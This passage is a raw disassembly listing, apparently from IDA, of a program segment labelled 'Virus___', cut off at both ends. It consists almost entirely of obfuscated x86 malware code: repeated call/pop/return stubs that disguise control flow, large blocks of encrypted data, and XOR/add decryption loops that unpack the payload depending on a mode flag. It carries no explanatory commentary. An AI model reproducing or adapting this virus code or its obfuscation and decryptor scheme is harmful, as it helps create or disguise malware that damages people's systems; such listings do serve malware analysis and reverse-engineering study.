U T I N E ======================================= sub_5B1AAF proc near ; CODE XREF: Virus___:005B1AA7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5B1AAF endp ; --------------------------------------------------------------------------- inc ebx cmp ecx, [ecx] mov ebp, 95D1095h loc_5B1AC7: ; CODE XREF: Virus___:005B1A57j cmp dword ptr [ebp+95D15F9h], 0 jz loc_5B1FB7 push 0 push ecx call sub_5B1ADF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1ADF proc near ; CODE XREF: Virus___:005B1AD7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B1ADF endp ; --------------------------------------------------------------------------- db 76h ; --------------------------------------------------------------------------- jmp loc_5B1B04 ; --------------------------------------------------------------------------- align 2 dw 12A5h dd 0F6EFF0EEh, 0DB8C5928h, 0E6A80BFAh ; --------------------------------------------------------------------------- loc_5B1B04: ; CODE XREF: Virus___:005B1AF0j cmp dword ptr [ebp+95D15F9h], 1 jz loc_5B1FD2 push 0 push edi call sub_5B1B1C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1B1C proc near ; CODE XREF: Virus___:005B1B14p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5B1B1C endp ; --------------------------------------------------------------------------- dd 0AC2B62C9h, 5723E0C1h, 7E94DACh, 0F1000000h, 0A058689h dd 0BD03D771h, 95D33B5h, 15F9BD83h, 0F03095Dh, 44786h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0B3AB022Bh, 3820F2Eh, 80000000h, 53602BF7h dd 65EF8166h, 8C665B79h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0B02807B8h, 8040023Eh dd 0BD2304E1h, 95D113Dh, 840FC90Ah, 1D5h, 0BE8h, 64D57000h dd 28CF16A7h, 50689648h, 4A23ABBh, 858B5F54h, 95D2C0Dh dd 0A68BDF81h, 85332C62h, 95D2765h, 9DB50160h, 50095D24h dd 21B18D23h, 615E095Dh, 12E890h, 0C45B0000h, 1CED597Bh dd 965903Ah, 9D24F3A0h, 576C929Ah, 3E581EBBh, 57505B05h dd 905FDE8Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0EBC35242h, 0F770C889h, 7C69335h, 0E9F8B70Fh, 14h dd 54A55A76h, 67D05BC9h, 4015666Ah, 0A5E6ECE9h, 51BEB0A8h dd 10E850h, 0AD8C0000h, 3F96C9D9h, 0A02F7090h, 9AFDC6D9h dd 5BF95872h, 6A006A5Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 37E2C355h, 19485181h dd 89BD8B0Bh, 60095D32h, 168A0Fh, 10E80000h, 0B2000000h dd 47CD4626h, 0CE1B464Ch, 9BC9940Ch, 58D86AB9h, 27CD8509h dd 0E861095Dh, 4, 1F03FFh, 6E9h, 87048A00h, 5089C962h dd 424448Bh, 8BDA8B66h, 50525000h, 12E952h, 6E2D0000h dd 0B36E854Bh, 0F605BA3Dh, 22F37606h, 55D1E296h, 6160310Fh dd 310F585Ah, 585A29B3h, 4244489h, 58DA8B66h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0DBC35040h, 49B6272Bh dd 65E858B4h, 0AD95FF11h, 0E8095D0Fh, 14h, 0EB1C8CECh dd 9BF6500Dh, 3C8384CCh, 0CE08C104h, 8FABE523h, 7BD5C7BFh dd 85895B2Eh, 960A564h, 26C9BD8Bh, 8CE9095Dh, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 800BC357h, 76532CB6h, 89FC1FE6h, 5D14AD95h dd 5C858B09h, 6A0960A5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 5060C353h, 0E3A63B03h dd 0F81CCB48h, 1781BD8Bh, 9589095Dh, 95D1389h, 1800C7h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 2C4A86C3h, 0FE451A87h, 2A698531h, 0B58B095Dh dd 960A560h, 1ED58D31h, 858B095Dh, 95D3151h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A9C35040h, 7E8C66B3h dd 13C697BEh, 0C719D8Bh, 689095Dh, 0D858BFCh, 6A095D2Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 6202C353h, 89F4C5F6h, 8D890446h, 95D0341h dd 50DF8B96h, 0EE9h, 6212D100h, 0A73FC3E6h, 0F67E948Bh dd 968FC029h, 18B0Fh, 0FFF50000h, 60A55CB5h, 0EF816609h db 66h, 44h dword_5B1E8E dd 0D80ECF81h ; --------------------------------------------------------------------------- or eax, 89EE6826h or bh, ch mov bx, 0D0D0h add dword ptr [esp], 3147A11h mov ebx, [ebp+95D1A3Dh] lea eax, [ebp+960A564h] and ebx, [ebp+95D2BD9h] nop push eax mov di, 0DBABh nop push 0 push ecx call sub_5B1EC8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1EC8 proc near ; CODE XREF: Virus___:005B1EC0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B1EC8 endp ; --------------------------------------------------------------------------- dd 0D18529CFh, 0F095D32h, 585h, 8AF56000h, 95FF61DAh, 95D0FADh dd 6119E780h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 82C35646h, 29EF095Ah, 2F51BD09h, 0EF81095Dh, 181C2E23h dd 15F985C7h, 3095Dh, 8E90000h, 33000000h, 6893D772h, 814C6147h dd 9CA5CCD7h, 64BD8310h, 960A5h, 52840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0F3299BC3h, 7E9DFh, 8C2B0000h, 0FC145B0Dh, 3DE979h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD89D5C3h, 95D233Dh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h db 0E7h, 0EBh, 36h ; --------------------------------------------------------------------------- loc_5B1FB7: ; CODE XREF: Virus___:005B1ACEj ; Virus___:005B1FCEj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5B1FB7 jmp short loc_5B1FED ; --------------------------------------------------------------------------- loc_5B1FD2: ; CODE XREF: Virus___:005B1B0Bj ; Virus___:005B1FE9j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5B1FD2 jmp short $+2 loc_5B1FED: ; CODE XREF: Virus___:005B1FD0j mov eax, eax xor ebx, 39B5BA82h clc push 0 push eax call sub_5B2001 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2001 proc near ; CODE XREF: Virus___:005B1FF9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5B2001 endp ; --------------------------------------------------------------------------- db 0FBh, 0CFh, 47h ; --------------------------------------------------------------------------- jmp loc_5B2026 ; --------------------------------------------------------------------------- db 18h, 45h, 0F4h dd 3B23E42Fh, 6EB95786h db 5Fh, 6Ch ; --------------------------------------------------------------------------- loc_5B2026: ; CODE XREF: Virus___:005B2014j cmp dword ptr [ebp+95D15F9h], 3 jnz loc_5B2486 or [ebp+95D2481h], edi cmp dword ptr [ebp+960A564h], 0 jz loc_5B2486 push 0 push esi call sub_5B2051 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2051 proc near ; CODE XREF: Virus___:005B2049p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5B2051 endp ; --------------------------------------------------------------------------- db 65h, 19h, 0CEh dd 0E8480A62h, 0BD8B7775h, 95D2779h, 0FFFA8B66h, 60A564B5h dd 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 1060BBECh, 95FF619Bh, 95D0A41h, 291DBD8Bh dd 0B58B095Dh, 960A558h, 0DE65F781h, 6C70B96h, 10001h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h dd 96D18DBBh, 28B0Fh, 0D98B0000h, 9671B350h, 3FE705BBh dd 64B5FF33h, 230960A5h, 5D19D59Dh, 0FD95FF09h, 6A095D05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0C2F3C352h, 46F4B658h, 0BFC7BC73h, 423ABF6Dh dd 0A558B58Bh, 6A0960h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0AFDA73C3h, 5870Fh, 1BF0000h, 0F14FCDFh dd 88h, 4D858B00h, 1095D30h, 5D2871BDh, 0C4868909h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0FCD2C357h, 33F8839Fh, 5D2091BDh, 19958B09h dd 6A095D09h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 6C09C352h, 295C8234h, 0ECBF07FEh dd 835A1A5Ch, 830F04C2h, 6, 12F59529h, 5089095Dh, 0DD852920h dd 8D095D25h, 60BBC185h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0D8BB6666h, 0D78166D0h dd 8689A9BEh, 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 6BC35343h, 3C63B023h, 0F1A8AC64h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0FA7EB0C3h, 95898CD0h, 95D1911h, 0AE9h, 0D9259B00h dd 0BFF2E2D1h, 0FF56FDEAh, 60A564B5h, 68C0F09h, 8B000000h dd 5D29F9BDh, 0C995FF09h, 6A095D14h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 875C352h dd 0B2211CA2h, 0AB04FED4h, 1A7DB529h, 9D8B095Dh, 95D1EC9h dd 40BB6696h, 6A96500Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 5603C357h, 0DE9h, 2164DF00h dd 15C0EFEAh, 66CD7F3Ah, 8B6021F6h, 5D291DBDh, 61DA8B09h dd 0A564B5FFh, 5B530960h, 137D95FFh, 6A095Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2A8E79C3h dd 1B91EBF0h, 0D1BD83B3h, 95D19h, 3B840Fh, 8B0F0000h, 6 dd 1EB1BD2Bh, 8D89095Dh, 95D24F5h, 50D98A96h, 1735BB66h dd 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 2393401Fh, 64B5FF18h, 0E90960A5h, 0Eh, 349D069Fh dd 11FF97BDh, 864EE295h, 95FF81CCh, 95D2F95h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AFC35747h, 78BF10BDh dd 7E960h, 0A4A70000h, 637F70C0h, 0FBBF0F7Dh, 14E961h dd 65CB0000h, 54D9AE12h, 0AAC5C48Dh, 6196E3B4h, 0C157DE0Dh dd 0B5FFDC99h, 960A564h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 64C35040h, 143679F7h, 666608E9h, 9CD8F781h dd 179595FFh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0D57F92C3h, 801F8289h, 0BD83D3E3h dd 95D0B11h, 3D840F02h, 8B000000h, 5D221585h db 9, 89h, 0BDh dword_5B243B dd 95D0BD9h ; --------------------------------------------------------------------------- mov [ebp+95D213Dh], eax mov byte ptr [eax], 0 push 0 push esi call sub_5B2453 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2453 proc near ; CODE XREF: Virus___:005B244Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5B2453 endp ; --------------------------------------------------------------------------- db 32h dd 7C9D3E05h, 9D89FB61h, 95D2655h, 54585C7h, 95Dh, 8A0F0000h dd 6, 25F19D8Bh db 5Dh, 9 ; --------------------------------------------------------------------------- loc_5B2486: ; CODE XREF: Virus___:005B202Dj ; Virus___:005B2040j jmp near ptr dword_5B1640+61h ; --------------------------------------------------------------------------- push 0 push ebx call sub_5B2496 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2496 proc near ; CODE XREF: Virus___:005B248Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B2496 endp ; --------------------------------------------------------------------------- dw 8964h dd 6D66F2D3h, 6E9h, 0B1885100h, 8B9B8F2Eh, 53006AC1h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0CE85Ch, 0B3D90000h, 5D6D2316h, 0A04D0071h, 8166BB17h dd 5B7D4DCFh, 8DDE8B66h, 5D223985h, 4895009h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 2150EEB2h, 0E31E249Eh, 0C381B740h, 0D42249Ch, 14859D8Bh dd 6A095Dh, 68A0F57h, 0F000000h, 80h, 6A5F00h, 21059D89h dd 0C781095Dh, 7BF03D17h, 7B7A858Dh, 6A0961h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0C4DA06C3h dd 0BD294118h, 95D04D5h, 0E905C083h, 7, 9DAA44A6h, 90CE9DB0h dd 3F492BFh, 9E95042h, 28000000h, 1D35A147h, 5A6D0E90h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 9D3384FCh, 26AD8D89h, 6A095Dh, 6AD98Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0BFC35242h dd 3B84C446h, 0E837C380h, 0Ch, 3C117408h, 8C41B332h, 0DC416323h dd 2095BD89h, 0FF5B095Dh, 5D085195h, 0FBC78109h, 8D7DE6DBh dd 60914C8Dh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0DE994h, 22B0000h, 0A8C52ABh, 0F4DD17F2h dd 81C866A7h, 537330E7h, 23D1FF78h, 5D0F0DBDh, 71BD8309h dd 1095D09h, 50850Fh, 8B660000h, 6A026ADAh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 662DC351h dd 2D1EEB81h, 60606050h, 61D38B61h, 0DE8h, 0D4AF0D00h dd 0BF0D4845h, 0E8BD775Fh, 0CB8B2390h, 4896158h, 71C78024h dd 14C995FFh, 0CDE9095Dh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 9617B84h mov [ebp+95D1389h], edx push 0 push eax call sub_5B26CC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B26CC proc near ; CODE XREF: Virus___:005B26C4p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5B26CC endp ; --------------------------------------------------------------------------- mov ch, 84h or bl, dl mov al, 8Dh test esp, edx mov ah, [eax+9] push 0 push ebx call sub_5B26F2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B26F2 proc near ; CODE XREF: Virus___:005B26EAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5B26F2 endp ; --------------------------------------------------------------------------- sahf les ebx, [edx+edx*4-795489B2h] mov [ebp+95D267Dh], edx mov [ebp+95D2835h], ecx push eax pusha mov di, si mov cl, 80h popa mov [esp], eax mov [ebp+95D1729h], edi clc push large dword ptr fs:0 mov di, 0A3BBh mov large fs:0, esp push 0 push ebp call sub_5B2745 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2745 proc near ; CODE XREF: Virus___:005B273Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5B2745 endp ; --------------------------------------------------------------------------- db 23h, 0E8h, 7 dd 81000000h, 6707CD86h, 0D381FBBBh, 3B4A5324h, 6985FF5Bh dd 6A095D21h, 11BD31FFh, 0FF095D03h, 5D338DB5h, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0F615A49Ah, 43945E96h, 9D299AB4h, 95D3339h, 8A98FCBBh dd 8595FF43h, 0E9095D03h, 113h, 171DBD89h, 8D89095Dh, 95D2B7Dh dd 8D8900B0h, 95D186Dh, 0BFBF70E6h, 89173439h, 5D1D19B5h dd 0F871E409h, 830F613Ch, 0E7h, 21CCDEBBh, 0D9BD0344h dd 0F095D03h, 0F52C8B6h, 68Bh, 418D8900h, 5F095D00h, 8D5CFEBBh dd 6BA42h, 85090000h, 95D29EDh, 9D89C18Bh, 95D333Dh, 0E804E8C1h dd 0Ch, 57BF5544h, 0D0962028h, 8A96DA68h, 665BA7B7h, 8501E2F7h dd 95D3235h, 9589C82Bh, 95D0C4Dh, 0E9F9D18Bh, 83h, 0AE14BF66h dd 0A29858Bh, 0BD8B095Dh, 95D0B0Dh, 8907C083h, 5D24159Dh dd 0C08309h, 2289BD8Bh, 0F860095Dh, 21ED9D8Bh, 3B61095Dh dd 1C830FD0h, 0F000000h, 587h, 0E3816600h, 8D29469Bh, 95D16EDh dd 3AE9h, 5DBD0300h, 8B095D1Fh, 5D09798Dh, 0F88B6609h dd 0F01E183h, 2284h, 0EEECBB00h, 83F9666Eh, 5D0979A5h dd 9589FE09h, 95D2075h, 0A299589h, 0BF66095Dh, 0E9F2B4h dd 8D000000h, 60F41AB5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 171AE926h, 9D8BB335h dd 95D0921h, 95FF006Ah, 95D11B1h, 2A159D31h, 0A0B9095Dh dd 0F9000007h, 6AFCE183h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0AEDEC351h, 6AFC0Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 8B17B0C3h, 419464A4h, 0F95C06Fh, 13E9FBB7h, 0A9000000h dd 8E59BA19h, 0F52872CAh, 945ACF78h, 698A042Fh, 0B83744h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 8C7CC350h, 0B3B9F20Ch, 6AD22B76h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 6694C350h, 63F8DF81h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 52C35545h, 0ED853100h, 0B095D19h, 5D15399Dh, 880D09h dd 0BB660000h, 958B094Bh, 95D0919h, 2859589h, 8D8B095Dh dd 95D1349h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0C9C35646h, 0E5D78166h, 0C28B507Ah, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 0E958188Bh, 0Dh, 4DC579B4h dd 0F9AAC813h, 740C2E5Ch, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0EF81F196h dd 3B859BA4h, 3169BD83h, 0F00095Dh, 6E84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0B36BBAE3h, 0B871h, 0B3BB0000h, 524BF7D9h, 7B58D89h dd 8D5B095Dh, 5D4D928Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 53D02735h, 9FCBB91Ah dd 66608498h, 0A3F4D981h, 345BD2Bh, 0FF61095Dh, 83DCB3E1h dd 5D15F9BDh, 840F0009h, 4B1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 30C35343h, 0F9CE3EC4h, 83DF8B66h dd 5D15F9BDh, 840F0109h, 49Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0ADC35646h, 572F89F8h, 26459D8Bh dd 835F095Dh, 5D15F9BDh, 860F0309h, 432h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 5FC35343h, 407AA748h dd 2F7DBD8Bh, 9E8095Dh, 17000000h, 6B3423CFh, 5BB67977h dd 605FF98Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 2AC35343h, 0D2D476C1h, 8B1515BDh, 5D1A5DBDh, 840F6009h dd 0Ch, 7E9h, 0FA428300h, 74E3328Ch, 1D018D8Bh, 6661095Dh dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0D87CFEC3h, 8840Fh, 1520000h, 5D24BD9Dh dd 0E1805B09h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0B55ED9C8h, 8AA6A076h dd 0D9B70FE3h, 6DBD8Bh, 0C90A095Dh, 100840Fh, 8B660000h dd 0D858BFEh, 6A095D2Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 265FC350h, 0E78166A9h dd 85336A0Dh, 95D2765h, 0BE950F8h, 2F000000h, 0FEB068F6h dd 3682FC8h, 489DF53h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 4B1BC914h, 0BA893D10h dd 0F8B70F29h, 298462BFh, 0FC006A26h, 9A823968h, 0F4BB66A3h dd 240481BAh, 5C8481C6h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0C1C35040h, 0FF537C27h, 5D0FAD95h, 0FE809h dd 0DC150000h, 15A370D4h, 7276F71Bh, 657D653Ch, 0BD895094h dd 95D1CB5h, 85895F5Bh, 960A564h, 1F6E9F9h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0F0FDF4C3h, 66AD4C44h, 563C381h, 1685BD29h, 858B095Dh dd 960A55Ch, 0C7F88B66h, 1800h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0DBBF0F28h dd 0A560B58Bh, 6A0960h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 6EC042C3h, 0F40A000h, 689h, 29858900h dd 8B095D17h, 5D315185h, 12E909h, 30F20000h, 0B4249CB6h dd 0DA0A84B5h, 0EDE810B0h, 0AA11DA75h, 6A0689h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0FCC0C0C3h, 8B523D65h, 5D33719Dh, 858B5F09h, 95D2C0Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 59C35141h dd 59783F6Eh, 0E4BBCCFCh, 890A7E20h, 6A0446h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 8DAA94C3h dd 66CBE14Ah, 6037A7BBh, 0BF0FEBB3h, 665061F8h, 89B947BBh dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 899E4CC3h, 5D1B198Dh, 4D958909h, 0FF095D19h dd 60A55CB5h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0A616DC8Fh, 0B2FBA950h, 0BD8B7296h dd 95D1381h, 104EE068h, 81D88BAAh, 0B51F2404h, 6656560Eh dd 1C5BE781h, 64858D5Fh, 6A0960A5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 5D46C350h dd 0FA8CA1Ch, 68Bh, 0F19D0900h, 56095D10h, 5BFABF0Fh, 24048950h dd 95FFDE8Bh, 95D0FADh, 7E9h, 80C0200h, 0FA103253h, 8DBD8961h dd 0F095D05h, 78Eh, 1800F00h, 0F8000000h, 15F985C7h, 3095Dh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0FEC781C3h, 0FE915h, 0A5CC0000h, 0E9396BD6h dd 0C25243Bh, 5CBA9A35h dd 0C7816621h, 0BD83924Bh, 960A564h, 23840F00h, 66000000h dd 0F0BA1BBh, 0E8Fh, 85896000h, 95D17E9h, 14B5BD8Bh, 0E961095Dh dd 21h, 22998529h, 3050095Dh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0AD8D09C0h, 0F095D2Bh, 28Fh, 29D88B00h dd 5D02D195h, 0F9BD8309h, 3095D15h, 468850Fh, 0C6BF0000h dd 83790D52h, 60A564BDh, 840F0009h, 456h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 40C35343h, 0A2B796B1h dd 0E8711681h, 8, 4027654Eh, 916C14CBh, 0B5FF5FF5h, 960A564h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 3DC35646h dd 7EDF5284h, 0E5D8CE2Fh, 4A7ABFF2h, 95FF3094h, 95D0A41h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 68C35747h dd 493ED381h, 0B58B1D4Ah, 960A558h, 106C7h, 0CE80001h dd 6F000000h, 40ABA8F6h, 4DED302Fh, 0E906F7ABh, 6, 148A11BAh dd 965B530Dh, 7DF9BF66h, 0DF8B6650h, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 7490C391h dd 85010579h, 95D19D5h, 0A564B5FFh, 0AE90960h, 81000000h dd 3EBBBC27h, 241329FBh, 0FD95FFBDh, 6A095D05h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 4EDCC350h, 0B70FB258h, 58B58BFAh, 6A0960A5h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 81B6C357h, 0A86CC8DBh, 858BF56Dh, 95D304Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 99C35343h, 13D5A992h dd 0C4868950h, 0F000000h, 686h, 11B58900h, 0E9095D29h dd 11h, 28BD378Eh, 74FB3B66h, 2D0DF6BAh, 0FE0244BEh, 19958B2Ah dd 0E9095D09h, 9, 3B2CDE40h, 31958699h, 4C28360h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 18C35040h, 3033C9DCh dd 0CFFE21h, 0BE97Bh, 0D49D0000h, 0E15EED33h, 0D794C217h dd 881ABBF5h, 508922FEh, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 8DD4974Ch, 59BF6644h dd 0C1858D59h, 6A0960BBh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0A1EBC350h, 8B3B05B1h dd 5D21999Dh, 0B8868909h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BBBDC351h dd 0C3869FD9h, 6890F9Fh, 8B000000h, 5D094D9Dh, 0F006A09h dd 8166DBB7h, 0FFDA03CFh, 60A564B5h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 683F5E83h dd 73E9A133h, 5E9C9h, 8D130000h, 8B9B1099h, 5D20FD9Dh dd 0C995FF09h, 66095D14h, 969311BBh, 0BB525057h, 1BAC0890h dd 5F56310Fh, 505F585Ah, 0BB37BB66h, 1958996h, 0FF095D27h dd 60A564B5h, 0D3816609h, 95FF6D03h, 95D137Dh, 83FB8B66h dd 5D19D1BDh, 840F0009h, 60h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 9FC35343h, 23947E42h, 0E59D33EBh dd 0B3095D19h, 34895074h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 3CD4881Eh dd 7DDD9667h, 8960AE2Dh, 5D31E585h, 0FD853109h, 61095D18h dd 0A564B5FFh, 6A0960h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 301F4AC3h, 0FFD3D4FDh, 5D2F9595h dd 1AB0BF09h, 0B5FF1919h, 960A564h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 16C35343h, 148B0Fh, 0FE90000h dd 0AB000000h, 6F6351EAh, 66B78AF2h, 41A77598h, 95FFE038h dd 95D1795h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 36C35040h, 647C4AB6h, 232F93ECh, 5D15399Dh, 11BD8309h dd 2095D0Bh, 24840Fh, 9E80000h, 1F000000h, 546C29CAh, 25B537F6h dd 5F5B5352h, 15858B5Fh, 